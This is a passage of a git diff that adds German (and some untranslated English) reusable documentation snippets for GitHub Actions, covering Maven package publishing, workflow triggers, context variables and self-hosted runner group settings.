+Führt den Befehl `mvn --batch-mode deploy` aus, um das Repository `ossrh` veröffentlichen. Die Umgebungsvariable `MAVEN_USERNAME` wird mit dem Inhalt Ihres `OSSRH_USERNAME`-Geheimnisses festgelegt, und die Umgebungsvariable `MAVEN_PASSWORD` wird mit dem Inhalt Ihres `OSSRH_TOKEN`-Geheimnisses festgelegt.
diff --git a/translations/de-DE/data/reusables/actions/publish-to-packages-workflow-step.md b/translations/de-DE/data/reusables/actions/publish-to-packages-workflow-step.md
new file mode 100644
index 0000000000..94a6c29341
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/publish-to-packages-workflow-step.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: cdfdf5507dd2c7efa14e7285cc2b18f163d5355d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147062410"
+---
+Führt den Befehl `mvn --batch-mode deploy` aus, um die Veröffentlichung in {% data variables.product.prodname_registry %} durchzuführen. Die Umgebungsvariable `GITHUB_TOKEN` wird mit dem Inhalt des `GITHUB_TOKEN`-Geheimnisses festgelegt. Der Schlüssel `permissions` gibt den Zugriff an, der `GITHUB_TOKEN` gewährt wird.
diff --git a/translations/de-DE/data/reusables/actions/publishing-java-packages-intro.md b/translations/de-DE/data/reusables/actions/publishing-java-packages-intro.md
new file mode 100644
index 0000000000..d036eaa7e7
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/publishing-java-packages-intro.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 91fd7348d4638818ff2d4ca6f717ebf842d9f358
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145089331"
+---
+Diese Anleitung zeigt, wie Du einen Workflow erstellst, der Java-Pakete in das {% data variables.product.prodname_registry %} und das Maven Central Repository veröffentlicht. Mit einem einzelnen Workflow kannst Du Pakete in ein einzelnes oder in mehrere Repositorys veröffentlichen.
diff --git a/translations/de-DE/data/reusables/actions/pull-request-table-entry.md b/translations/de-DE/data/reusables/actions/pull-request-table-entry.md
new file mode 100644
index 0000000000..3277325532
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/pull-request-table-entry.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a7d6ea3514aed78925bb9102f02fe3b5d82ed704
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147880148"
+---
+| Auslösen eines Workflows, der automatisch ausgeführt werden soll: | [`pull_request`](/actions/using-workflows/events-that-trigger-workflows#pull_request) |
diff --git a/translations/de-DE/data/reusables/actions/pure-javascript.md b/translations/de-DE/data/reusables/actions/pure-javascript.md
new file mode 100644
index 0000000000..0e4066fb67
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/pure-javascript.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: cbccd6211a31c17f3b717f74f5d5897a7ad25e4d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147518792"
+---
+Um sicherzustellen, dass deine JavaScript-Aktionen mit allen GitHub-gehosteten Runnern (Ubuntu, Windows und macOS) kompatibel sind, sollte der von dir geschriebene paketierte JavaScript-Code reines JavaScript sein und nicht von anderen Binärdateien abhängig sein. JavaScript-Aktionen werden direkt auf dem Runner ausgeführt und verwenden Binärdateien, die bereits im Runner-Image vorhanden sind.
diff --git a/translations/de-DE/data/reusables/actions/push-table-entry.md b/translations/de-DE/data/reusables/actions/push-table-entry.md
new file mode 100644
index 0000000000..637e25b527
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/push-table-entry.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1b2b8783dc6c54eeab85e876df56001cfd5743a4
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147062146"
+---
+| Auslösen eines Workflows, der automatisch ausgeführt werden soll: | [`push`](/actions/using-workflows/events-that-trigger-workflows#push) |
diff --git a/translations/de-DE/data/reusables/actions/redis-environment-variables.md b/translations/de-DE/data/reusables/actions/redis-environment-variables.md
new file mode 100644
index 0000000000..4952cf2c81
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/redis-environment-variables.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8eff695be10a097b9693095c219f3a67a3895560
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145089324"
+---
+Das *client.js*-Skript sucht nach den Umgebungsvariablen `REDIS_HOST` und `REDIS_PORT`, um den Client zu erstellen. Der Workflow legt diese beiden Umgebungsvariablen im Rahmen des Schritts „Mit Redis verbinden“ fest, um sie dem *client.js*-Skript zur Verfügung zu stellen. Weitere Informationen zum Skript findest du unter [Testen des Redis-Dienstcontainers](#testing-the-redis-service-container).
diff --git a/translations/de-DE/data/reusables/actions/redis-label-description.md b/translations/de-DE/data/reusables/actions/redis-label-description.md
new file mode 100644
index 0000000000..833b3d2e23
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/redis-label-description.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 662ae539ae3cfdb6446d31664da325a9a67e9a26
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145068127"
+---
+Der Workflow konfiguriert einen Dienstcontainer mit der Bezeichnung `redis`. Alle Dienste müssen in einem Container ausgeführt werden, daher erfordert jeder Dienst die Angabe des Containers `image`. Dieses Beispiel verwendet das `redis`-Containerimage und enthält Optionen für Integritätsüberprüfungen, um die Ausführung des Diensts sicherzustellen. Weitere Informationen findest du im [Redis-Image](https://hub.docker.com/_/redis) für Docker Hub.
diff --git a/translations/de-DE/data/reusables/actions/ref-description.md b/translations/de-DE/data/reusables/actions/ref-description.md
new file mode 100644
index 0000000000..50c03dfc79
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/ref-description.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b4949218acc89828772bf2bea3998dfde3a10e95
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147079962"
+---
+Das Branch- oder Tag-Ref, das den Workflow-Lauf ausgelöst hat. Bei Workflows, die durch `push` ausgelöst wurden, ist dies das Branch- oder Tag-Ref, das gepusht wurde. Bei Workflows, die von `pull_request` ausgelöst werden, ist dies der Branch für das Mergen des Pull Requests. Bei Workflows, die von `release` ausgelöst werden, ist dies das erstellte Releasetag. Bei anderen Triggern handelt es sich um das Branch- oder Tag-Ref, das die Workflowausführung ausgelöst hat. Es wird nur festgelegt, wenn für den Ereignistyp ein Branch oder ein Tag verfügbar ist. Das Ref ist vollständig gebildet, d.h. für Branches ist das Format `refs/heads/<branch_name>`, für Pull Requests `refs/pull/<pr_number>/merge` und für Tags `refs/tags/<tag_name>`. Beispiel: `refs/heads/feature-branch-1`.
diff --git a/translations/de-DE/data/reusables/actions/ref_name-description.md b/translations/de-DE/data/reusables/actions/ref_name-description.md
new file mode 100644
index 0000000000..b57457d5cc
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/ref_name-description.md
@@ -0,0 +1 @@
+The short ref name of the branch or tag that triggered the workflow run. This value matches the branch or tag name shown on {% data variables.product.prodname_dotcom %}. For example, `feature-branch-1`.
diff --git a/translations/de-DE/data/reusables/actions/ref_protected-description.md b/translations/de-DE/data/reusables/actions/ref_protected-description.md
new file mode 100644
index 0000000000..67e80e0554
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/ref_protected-description.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e3a5d34c1e7fa7964296417f959e02f7d25322d1
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145068121"
+---
+`true`, wenn Branchschutz für den Verweis konfiguriert ist, der die Workflowausführung ausgelöst hat.
diff --git a/translations/de-DE/data/reusables/actions/ref_type-description.md b/translations/de-DE/data/reusables/actions/ref_type-description.md
new file mode 100644
index 0000000000..0b979762c1
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/ref_type-description.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: eb37287768f8539b10e549b5407c9aeb1170d1eb
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145089316"
+---
+Der Typ des Verweises, der die Workflowausführung ausgelöst hat. Gültige Werte sind `branch` und `tag`.
diff --git a/translations/de-DE/data/reusables/actions/registry-credentials.md b/translations/de-DE/data/reusables/actions/registry-credentials.md
new file mode 100644
index 0000000000..de601dd5f7
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/registry-credentials.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 35dfd476fcffeaf23740ff0513b2675390f9a76f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145068118"
+---
+Wenn die Containerregistrierung des Images eine Authentifizierung benötigt, damit das Image gepullt werden kann, kannst du mit `jobs.<job_id>.container.credentials` eine `map` von `username` und `password` festlegen. Die Anmeldeinformationen sind dieselben Werte, die du für den [`docker login`](https://docs.docker.com/engine/reference/commandline/login/)-Befehl angeben würdest.
diff --git a/translations/de-DE/data/reusables/actions/release-trigger-workflow.md b/translations/de-DE/data/reusables/actions/release-trigger-workflow.md
new file mode 100644
index 0000000000..dc9131a071
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/release-trigger-workflow.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 03b40aba643f6c512d3082d997497374a24b8194
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145089308"
+---
+Jedes Mal, wenn du auf {% data variables.product.product_name %} ein neues Release erstellst, kannst du einen Workflow auslösen, um dein Image zu veröffentlichen. Der Workflow im folgenden Beispiel wird ausgeführt, wenn das `release`-Ereignis mit dem `created`-Aktivitätstyp ausgelöst wird. Weitere Informationen zum `release`-Ereignis findest du unter [Ereignisse, die Workflows auslösen](/actions/reference/events-that-trigger-workflows#release).
diff --git a/translations/de-DE/data/reusables/actions/removing-a-runner-group.md b/translations/de-DE/data/reusables/actions/removing-a-runner-group.md
new file mode 100644
index 0000000000..54f254b84a
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/removing-a-runner-group.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: d3eda8a12037f1da8ec915c4652fa658f34fcc6b
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109749"
+---
+Runner werden automatisch wieder der Standardgruppe hinzugefügt, wenn ihre Gruppe entfernt wird.
+
+{% ifversion ghes or ghae or ghec %} {% data reusables.actions.runner-groups-navigate-to-repo-org-enterprise %}
+1. Klicke in der Liste der Gruppen rechts neben der Gruppe, die du löschen möchtest, auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
+2. Klicke auf **Gruppe entfernen**, um die Gruppe zu entfernen.
+3. Überprüfe die Bestätigungsaufforderungen, und klicke auf **Diese Runnergruppe entfernen**. Alle Runner, die sich noch in dieser Gruppe befinden, werden automatisch in die Standardgruppe verschoben, wo sie die Zugriffsberechtigungen erben, die dieser Gruppe zugewiesen sind.
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/reusable-workflow-artifacts.md b/translations/de-DE/data/reusables/actions/reusable-workflow-artifacts.md
new file mode 100644
index 0000000000..4369c99de9
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/reusable-workflow-artifacts.md
@@ -0,0 +1,3 @@
+{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}
+All actions and workflows called within a run have write access to that run's artifacts.
+{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/reusable-workflow-calling-syntax.md b/translations/de-DE/data/reusables/actions/reusable-workflow-calling-syntax.md
new file mode 100644
index 0000000000..2b4d1042df
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/reusable-workflow-calling-syntax.md
@@ -0,0 +1,4 @@
+* `{owner}/{repo}/.github/workflows/{filename}@{ref}`{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} for reusable workflows in public {% ifversion ghes or ghec or ghae %}or internal{% endif %} repositories.
+* `./.github/workflows/{filename}` for reusable workflows in the same repository.{% endif %}
+
+`{ref}` can be a SHA, a release tag, or a branch name. Using the commit SHA is the safest for stability and security. For more information, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#reusing-third-party-workflows)." {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}If you use the second syntax option (without `{owner}/{repo}` and `@{ref}`) the called workflow is from the same commit as the caller workflow.{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/reusable-workflows-ghes-beta.md b/translations/de-DE/data/reusables/actions/reusable-workflows-ghes-beta.md
new file mode 100644
index 0000000000..6fb3ef2e4f
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/reusable-workflows-ghes-beta.md
@@ -0,0 +1,9 @@
+{% ifversion ghes = 3.4 %}
+
+{% note %}
+
+**Note**: Reusable workflows are currently in beta and subject to change.
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/reusable-workflows.md b/translations/de-DE/data/reusables/actions/reusable-workflows.md
new file mode 100644
index 0000000000..c1f3f78088
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/reusable-workflows.md
@@ -0,0 +1,4 @@
+{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}
+
+{% ifversion ghes or ghec or ghae %}You can share workflows with your organization, publicly or privately, by calling{% else %} You can call{% endif %} one workflow from within another workflow. This allows you to reuse workflows, avoiding duplication and making your workflows easier to maintain. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
+{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/run_id_description.md b/translations/de-DE/data/reusables/actions/run_id_description.md
new file mode 100644
index 0000000000..592966b463
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/run_id_description.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d2eb1d49e6bb3057ce347b8bdd37f7f1a66014fa
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145068091"
+---
+Eine eindeutige Zahl für jeden Workflow, der innerhalb eines Repositorys ausgeführt wird. Diese Nummer ändert sich nicht, wenn Du den Workflowablauf erneut ausführst.
diff --git a/translations/de-DE/data/reusables/actions/run_number_description.md b/translations/de-DE/data/reusables/actions/run_number_description.md
new file mode 100644
index 0000000000..fa6f921a95
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/run_number_description.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4e92d27887f94b524e0e5d9c2d007b29e2dbb28b
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147876986"
+---
+Eine eindeutige Nummer für jede Ausführung eines bestimmten Workflows in einem Repository. Diese Zahl beginnt bei 1 für die erste Ausführung des Workflows und wird bei jeder neuen Ausführung erhöht. Diese Nummer ändert sich nicht, wenn Du den Workflowablauf erneut ausführst.
diff --git a/translations/de-DE/data/reusables/actions/runner-app-open-source.md b/translations/de-DE/data/reusables/actions/runner-app-open-source.md
new file mode 100644
index 0000000000..cbaacc7ef7
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/runner-app-open-source.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c0dfa2882463f7e1c169a26b9ea94ce314db2c4a
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145068085"
+---
+Die {% data variables.product.prodname_actions %} Läufer-Anwendung ist Open Source. Du kannst im [Runner-Repository](https://github.com/actions/runner) mitwirken und Dateiprobleme einreichen.
diff --git a/translations/de-DE/data/reusables/actions/runner-arch-description.md b/translations/de-DE/data/reusables/actions/runner-arch-description.md
new file mode 100644
index 0000000000..ff3112db9f
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/runner-arch-description.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: af8eda15fb2efa1997bec460be9f8d9549171c71
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145089259"
+---
+Die Architektur des Runners, der den Auftrag ausführt. Mögliche Werte sind `X86`, `X64`, `ARM` oder `ARM64`.
diff --git a/translations/de-DE/data/reusables/actions/runner-debug-description.md b/translations/de-DE/data/reusables/actions/runner-debug-description.md
new file mode 100644
index 0000000000..298846d411
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/runner-debug-description.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e97366a49253e628513ace9247bb7f4c9301aa80
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147614535"
+---
+Dies ist nur festgelegt, wenn die [Debugprotokollierung](/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging) aktiviert ist, und weist immer den Wert `1` auf. Es kann ein nützlicher Hinweis darauf sein, ob in deinen Auftragsschritten zusätzliches Debugging oder eine ausführliche Protokollierung aktiviert werden sollte.
diff --git a/translations/de-DE/data/reusables/actions/runner-group-assign-policy-org.md b/translations/de-DE/data/reusables/actions/runner-group-assign-policy-org.md
new file mode 100644
index 0000000000..15e8360362
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/runner-group-assign-policy-org.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 1122a6eba1b8e9e2501ddf011c36baf6d0a5f2e9
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145068079"
+---
+1. Weise eine Richtlinie für den Organisationszugriff zu.
+
+    Du kannst eine Runnergruppe so konfigurieren, dass nur eine bestimmte Liste von Organisationen oder alle Organisationen im Unternehmen darauf zugreifen können.{% ifversion ghec or ghes %} Standardmäßig können nur private Repositorys auf Runner in einer Runnergruppe zugreifen. Diese Einstellung kannst du bei Bedarf überschreiben. Diese Einstellung kann nicht überschrieben werden, wenn du die von einem Unternehmen freigegebene Runnergruppe einer Organisation konfigurierst.{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/runner-group-assign-policy-repo.md b/translations/de-DE/data/reusables/actions/runner-group-assign-policy-repo.md
new file mode 100644
index 0000000000..ae4a44db58
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/runner-group-assign-policy-repo.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: ef09954dd829eae3eb7cfaefbefab65b9a2fffc5
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145089252"
+---
+1. Weise eine Richtlinie für den Repositoryzugriff zu.
+
+    Du kannst eine Runnergruppe so konfigurieren, dass nur eine bestimmte Liste von Repositorys oder alle Repositorys in der Organisation darauf zugreifen können.{% ifversion ghec or ghes %} Standardmäßig können nur private Repositorys auf Runner in einer Runnergruppe zugreifen. Diese Einstellung kannst du bei Bedarf überschreiben. Diese Einstellung kann nicht überschrieben werden, wenn du die von einem Unternehmen freigegebene Runnergruppe einer Organisation konfigurierst.{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/runner-group-assign-policy-workflow.md b/translations/de-DE/data/reusables/actions/runner-group-assign-policy-workflow.md
new file mode 100644
index 0000000000..f93a7c1d57
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/runner-group-assign-policy-workflow.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 115103621cb0b156ebb7a3c2c72f0f303c497cfb
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146178607"
+---
+{%- ifversion restrict-groups-to-workflows %}
+1. Weise eine Richtlinie für den Workflow-Zugriff zu.
+
+   Du kannst eine Runner-Gruppe so konfigurieren, dass auf eine bestimmte Liste von Workflows oder auf alle Workflows zugegriffen werden kann. Diese Einstellung kann nicht überschrieben werden, wenn du die von einem Unternehmen freigegebene Runner-Gruppe einer Organisation konfigurierst. Wenn du angibst, welcher Workflow auf die Runner-Gruppe zugreifen kann, musst du den vollständigen Pfad zum Workflow verwenden, einschließlich des Repository-Namens und des Besitzers, und du musst den Workflow an eine Verzweigung, ein Tag oder einen vollständigen SHA anheften. Beispiel: `octo-org/octo-repo/.github/workflows/build.yml@v2, octo-org/octo-repo/.github/workflows/deploy.yml@d6dc6c96df4f32fa27b039f2084f576ed2c5c2a5, monalisa/octo-test/.github/workflows/test.yml@main`. 
+   
+   Zugriff auf die Runner-Gruppe erhalten nur Aufträge, die direkt innerhalb der ausgewählten Workflows definiert sind.{%- endif %}
diff --git a/translations/de-DE/data/reusables/actions/runner-group-enterprise-overview.md b/translations/de-DE/data/reusables/actions/runner-group-enterprise-overview.md
new file mode 100644
index 0000000000..34c972f4e0
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/runner-group-enterprise-overview.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 761cee3710852bda8e1f36d47da475e2c6d6b130
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109748"
+---
+Runnergruppen werden verwendet, um den Zugriff auf Runner auf Organisations- und Unternehmensebene zu steuern. Unternehmensbesitzer können Zugriffsrichtlinien konfigurieren, mit denen gesteuert wird, welche Organisationen {% ifversion restrict-groups-to-workflows %}und Workflows {% endif %}in einem Unternehmen Zugriff auf die Runnergruppe erhalten. Organisationsbesitzer können Zugriffsrichtlinien konfigurieren, mit denen gesteuert wird, welche Repositorys{% ifversion restrict-groups-to-workflows %} und Workflows{% endif %} in einer Organisation Zugriff auf die Runnergruppe erhalten.
+
+Gewährt ein Unternehmensbesitzer Zugriff auf eine Runnergruppe, können Organisationsbesitzer die Runnergruppe in den Runnereinstellungen der Organisation anzeigen. Organisationsbesitzer können anschließend der Runnergruppe des Unternehmens weitere präzise Zugriffsrichtlinien für Repositorys{% ifversion restrict-groups-to-workflows %} und Workflows{% endif %} zuweisen.
diff --git a/translations/de-DE/data/reusables/actions/runner-groups-add-to-enterprise-first-steps.md b/translations/de-DE/data/reusables/actions/runner-groups-add-to-enterprise-first-steps.md
new file mode 100644
index 0000000000..5215ec2e72
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/runner-groups-add-to-enterprise-first-steps.md
@@ -0,0 +1,11 @@
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% data reusables.enterprise-accounts.actions-tab %}
+{%- ifversion ghec or ghes > 3.3 or ghae > 3.3 %}
+{% data reusables.enterprise-accounts.actions-runner-groups-tab %}
+1. Click **New runner group**.
+{%- elsif ghes < 3.4 or ghae %}
+{% data reusables.enterprise-accounts.actions-runners-tab %}
+1. Use the **Add new** drop-down, and select **New group**.
+{%- endif %}
+1. Under "Group name", type a name for your runner group.
diff --git a/translations/de-DE/data/reusables/actions/runner-groups-navigate-to-repo-org-enterprise.md b/translations/de-DE/data/reusables/actions/runner-groups-navigate-to-repo-org-enterprise.md
new file mode 100644
index 0000000000..596ad3a0e0
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/runner-groups-navigate-to-repo-org-enterprise.md
@@ -0,0 +1,24 @@
+---
+ms.openlocfilehash: c1f0ddf259431616bbada45e736385bb45ba3d75
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147763974"
+---
+{% ifversion fpt %}
+1. Navigiere zur Hauptseite des Repositorys oder der Organisation, in dem bzw. der sich deine Runnergruppen befinden.
+2. Klicke auf {% octicon "gear" aria-label="The Settings gear" %} **Einstellungen**.
+{% data reusables.organizations.settings-sidebar-actions-runner-groups %} {% elsif ghec or ghes or ghae %}
+1. Navigiere zu dem Ort, an dem sich deine Runnergruppen befinden:
+   * **In einer Organisation**: Navigiere zur Hauptseite, und klicke auf {% octicon "gear" aria-label="The Settings gear" %} **Einstellungen**.
+   * **Bei Verwendung einer Gruppe auf Unternehmensebene**:
+
+{% indented_data_reference reusables.enterprise-accounts.access-enterprise spaces=5 %}
+2. Navigiere zu den Einstellungen für Runnergruppen:
+   * **In einer Organisation**:
+
+{% indented_data_reference reusables.actions.settings-ui.settings-actions-runner-groups spaces=5 %}
+   * **Bei Verwendung einer Gruppe auf Unternehmensebene**:
+
+{% indented_data_reference reusables.enterprise-accounts.policies-tab spaces=5 %} {% indented_data_reference reusables.enterprise-accounts.actions-tab spaces=5 %} {% indented_data_reference reusables.enterprise-accounts.actions-runner-groups-tab spaces=5 %} {% endif %}
diff --git a/translations/de-DE/data/reusables/actions/runner-label-settings.md b/translations/de-DE/data/reusables/actions/runner-label-settings.md
new file mode 100644
index 0000000000..a39b4574b9
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/runner-label-settings.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7478c50deaeea65697ada0156fd4bedb0f849c50
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877009"
+---
+ 1. Klicke im Abschnitt „Bezeichnungen“ auf {% octicon "gear" aria-label="The Gear icon" %}.
diff --git a/translations/de-DE/data/reusables/actions/runner-name-description.md b/translations/de-DE/data/reusables/actions/runner-name-description.md
new file mode 100644
index 0000000000..1d1c67244c
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/runner-name-description.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 92f9c6962ced87f0075e67d91920b4262d376bbe
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147876997"
+---
+Der Name des Runners, der den Auftrag ausführt.
diff --git a/translations/de-DE/data/reusables/actions/runner-os-description.md b/translations/de-DE/data/reusables/actions/runner-os-description.md
new file mode 100644
index 0000000000..d9eb7b9d86
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/runner-os-description.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4bf3f1a9bd94d5faf665ceab4c30925162bf2977
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145089244"
+---
+Das Betriebssystem des Runners, der den Job ausführt. Mögliche Werte sind `Linux`, `Windows` oder `macOS`.
diff --git a/translations/de-DE/data/reusables/actions/runner-temp-directory-description.md b/translations/de-DE/data/reusables/actions/runner-temp-directory-description.md
new file mode 100644
index 0000000000..562a56b6a4
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/runner-temp-directory-description.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2e1561ff6bfee56d135e4897fbc6d42e252a7809
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145068064"
+---
+Der Pfad zu einem temporären Verzeichnis im Runner. Dieses Verzeichnis wird jeweils zu Beginn und am Ende eines Auftrags geleert. Hinweis: Wenn das Benutzerkonto des Runners über keine Berechtigung zum Löschen verfügt, werden keine Dateien entfernt.
